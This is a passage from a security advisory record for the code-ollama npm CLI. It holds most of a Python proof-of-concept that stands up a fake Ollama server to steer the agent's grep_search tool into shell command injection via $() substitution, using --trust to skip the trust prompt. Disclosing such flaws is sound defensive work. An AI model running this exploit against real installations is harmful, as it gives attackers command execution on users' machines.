         # No tool_calls -> nextMessages stays null -> processRunStream\n            # returns after checking hasUncalledToolIntent (no match on\n            # \"Done.\") so the CLI exits cleanly.\n            # ---------------------------------------------------------------\n            print(f\"[fake-ollama] Request #{current_request}: \"\n                  \"sending done/stop response\")\n            sys.stdout.flush()\n\n            chunk = {\n                \"model\": \"fake\",\n                \"message\": {\n                    \"role\": \"assistant\",\n                    \"content\": \"Done.\",\n                },\n                \"done\": True,\n                \"done_reason\": \"stop\",\n            }\n\n        self.wfile.write((json.dumps(chunk) + \"\\n\").encode())\n        self.wfile.flush()\n\n\ndef start_fake_server():\n    \"\"\"Start the fake Ollama server in a daemon thread.\"\"\"\n    server = HTTPServer((FAKE_SERVER_HOST, FAKE_SERVER_PORT), FakeOllamaHandler)\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\n# ---------------------------------------------------------------------------\n# Main orchestration\n# ---------------------------------------------------------------------------\n\ndef main():\n    print(\"=\" * 65)\n    print(\"VULN-001: grep_search Command Injection PoC (CWE-78)\")\n    print(\"Target : ai-action/code-ollama v0.36.0\")\n    print(\"Sink   : src/utils/tools/filesystem/grep.ts:65\")\n    print(\"=\" * 65)\n    print()\n    print(f\"[*] Payload  : {INJECTED_CMD}\")\n    print(f\"[*] Marker   : {MARKER_FILE}\")\n    print()\n\n    # Clean up any leftover marker from a previous run\n    if os.path.exists(MARKER_FILE):\n        os.unlink(MARKER_FILE)\n        print(f\"[*] Removed stale marker file: {MARKER_FILE}\")\n\n    # -----------------------------------------------------------------------\n    # 1. Start the fake Ollama server\n    # -----------------------------------------------------------------------\n    print(f\"[*] Starting fake Ollama server on \"\n          f\"{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT} ...\")\n    start_fake_server()\n    time.sleep(0.4)   # give the server socket time to bind\n\n    # -----------------------------------------------------------------------\n    # 2. Run code-ollama with OLLAMA_HOST pointing to the fake server\n    #    --trust skips the interactive directory-trust prompt (src/cli.ts:214)\n    # -----------------------------------------------------------------------\n    env = os.environ.copy()\n    env[\"OLLAMA_HOST\"] = f\"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}\"\n\n    # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile\n    cmd = [\n        \"node\", \"/app/dist/cli.js\",\n        \"run\", \"--trust\", \"fake\", \"search the code\",\n    ]\n\n    print(f\"[*] Executing: {' '.join(cmd)}\")\n    print(f\"[*] OLLAMA_HOST={env['OLLAMA_HOST']}\")\n    print()\n\n    try:\n        result = subprocess.run(\n            cmd,\n            env=env,\n            stdin=subprocess.DEVNULL,   # no TTY / interactive input needed\n            capture_output=True,\n            text=True,\n            timeout=60,\n            cwd=\"/workspace\",\n        )\n    except subprocess.TimeoutExpired:\n        print(\"[-] code-ollama subprocess timed out after 60 s\")\n        sys.exit(1)\n\n    print(\"--- code-ollama stdout ---\")\n    print(result.stdout[:3000] if result.stdout else \"(empty)\")\n    print(\"--- code-ollama stderr ---\")\n    print(result.stderr[:3000] if result.stderr else \"(empty)\")\n    print(f\"--- exit code: {result.returncode} ---\")\n    print()\n\n    # -----------------------------------------------------------------------\n    # 3. Verify exploitation: check for the marker file\n    # -----------------------------------------------------------------------\n    if os.path.exists(MARKER_FILE):\n        evidence = open(MARKER_FILE).read().strip()\n        print(\"[+] ============================================================\")\n        print(\"[+] EXPLOITATION CONFIRMED\")\n        print(\"[+] ============================================================\")\n        print(f\"[+] Marker file : {MARKER_FILE}\")\n        print(f\"[+] Contents    : {evidence!r}\")\n        print(\"[+] Explanation : The $() command substitution inside the\")\n        print(\"[+]   grep_search pattern was NOT escaped by code-ollama's\")\n        print(\"[+]   sanitizer (grep.ts:58-63 only strips \\\\ and \\\").\")\n        print(\"[+]   execShell() passed the raw string to child_process.exec()\")\n        print(\"[+]   which ran it through /bin/sh, executing the injected\")\n        print(\"[+]   command as the current user.\")\n        print(\"[+] ============================================================\")\n        sys.exit(0)\n    else:\n        print(\"[-] ============================================================\")\n        print(\"[-] EXPLOITATION FAILED\")\n        print(f\"[-] Expected marker file NOT found: {MARKER_FILE}\")\n        print(\"[-] Possible causes:\")\n        print(\"[-]   - ollama-npm parsed tool_call.arguments differently\")\n        print(\"[-]   - The pattern was sanitized before reaching execShell()\")\n        print(\"[-]   - ripgrep is not installed so the fallback path was taken\")\n        print(\"[-]   - The shell used does not support $() substitution\")\n        print(\"[-] ============================================================\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "code-ollama"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.36.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.36.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ai-action/code-ollama"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-28T13:59:43Z",
    "nvd_published_at" : null
  }
}